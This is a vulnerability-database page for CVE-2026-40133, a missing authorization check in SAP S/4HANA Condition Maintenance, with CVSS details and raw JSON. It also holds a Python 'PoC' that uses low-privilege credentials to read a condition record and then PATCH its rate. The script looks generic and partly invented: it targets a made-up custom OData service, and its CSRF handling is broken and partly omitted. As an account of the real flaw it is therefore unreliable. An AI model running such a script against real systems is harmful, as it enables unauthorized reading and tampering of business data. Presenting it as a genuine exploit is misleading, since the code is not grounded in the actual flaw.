Security Vulnerability Report
中文
CVE-2026-40133 CVSS 6.3 MEDIUM

CVE-2026-40133

Published: 2026-05-12 03:16:12
Last Modified: 2026-05-12 03:16:12

Description

Due to missing authorization check in SAP S/4HANA Condition Maintenance, an authenticated attacker could gain unauthorized access to view and modify condition table records, resulting in low impact on the confidentiality and integrity of the data. Additionally, this vulnerability may prevent the legitimate user from accessing the records, causing low impact on application availability.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

SAP S/4HANA (具体受影响版本请参考SAP Security Patch Day及Note 3718083)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # SAP S/4HANA Condition Maintenance PoC Concept # This script demonstrates a potential unauthorized access attempt due to missing authorization. # Note: This is for educational and defensive testing purposes only. target_url = "https://<sap_server_hostname>/sap/bc/webdynpro_abap/sap/condition_maintenance" session = requests.Session() # Attacker credentials (Low privilege user) credentials = { 'sap-user': 'low_priv_user', 'sap-password': 'password123', 'sap-client': '001' } # 1. Authenticate to the system print("[+] Attempting authentication...") login_response = session.post(target_url, data=credentials, verify=False) if login_response.status_code == 200: print("[+] Authentication successful.") # 2. Construct malicious payload to view/modify condition table record # Exploiting the missing authorization check on the specific endpoint vulnerable_endpoint = "https://<sap_server_hostname>/sap/opu/odata/SAP/Z_CONDITION_SRV/ConditionTableSet('Key=12345')" headers = { 'X-CSRF-Token': 'fetch', # Handling CSRF protection if present 'Content-Type': 'application/json' } # 3. Send GET request to view unauthorized data print(f"[+] Sending unauthorized GET request to {vulnerable_endpoint}") get_response = session.get(vulnerable_endpoint, headers=headers, verify=False) if get_response.status_code == 200: print("[!] Successfully retrieved confidential condition record:") print(get_response.text) else: print("[-] Failed to retrieve data.") # 4. Send POST request to modify unauthorized data # Payload to modify the condition value modify_payload = { "ConditionRate": "999.99", "Currency": "USD" } # Update CSRF token if required (omitted for brevity) print(f"[+] Sending unauthorized PATCH request to modify data...") patch_response = session.patch(vulnerable_endpoint, json=modify_payload, headers=headers, verify=False) if patch_response.status_code == 200 or patch_response.status_code == 204: print("[!] Successfully modified condition record due to missing auth check.") else: print(f"[-] Modification failed with status code: {patch_response.status_code}") else: print("[-] Authentication failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40133", "sourceIdentifier": "[email protected]", "published": "2026-05-12T03:16:12.177", "lastModified": "2026-05-12T03:16:12.177", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to missing authorization check in SAP S/4HANA Condition Maintenance, an authenticated attacker could gain unauthorized access to view and modify condition table records, resulting in low impact on the confidentiality and integrity of the data. Additionally, this vulnerability may prevent the legitimate user from accessing the records, causing low impact on application availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://me.sap.com/notes/3718083", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}